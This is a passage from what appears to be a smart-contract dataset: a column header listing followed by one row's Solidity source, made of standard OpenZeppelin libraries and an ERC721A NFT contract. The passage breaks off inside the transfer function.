Unnamed: 0
int64
0
60k
address
stringlengths
42
42
source_code
stringlengths
52
864k
bytecode
stringlengths
2
49.2k
slither
stringlengths
47
956
success
bool
1 class
error
float64
results
stringlengths
2
911
input_ids
sequencelengths
128
128
attention_mask
sequencelengths
128
128
59,600
0x970d5e0bd5c4f193fccf7fd579590c5f5c69b2d9
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and( vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if ( uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0 ) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n", Strings.toString(s.length), s ) ); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts/ERC721A.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require( owner != address(0), "ERC721A: balance query for the zero address" ); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require( _exists(tokenId), "ERC721A: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance 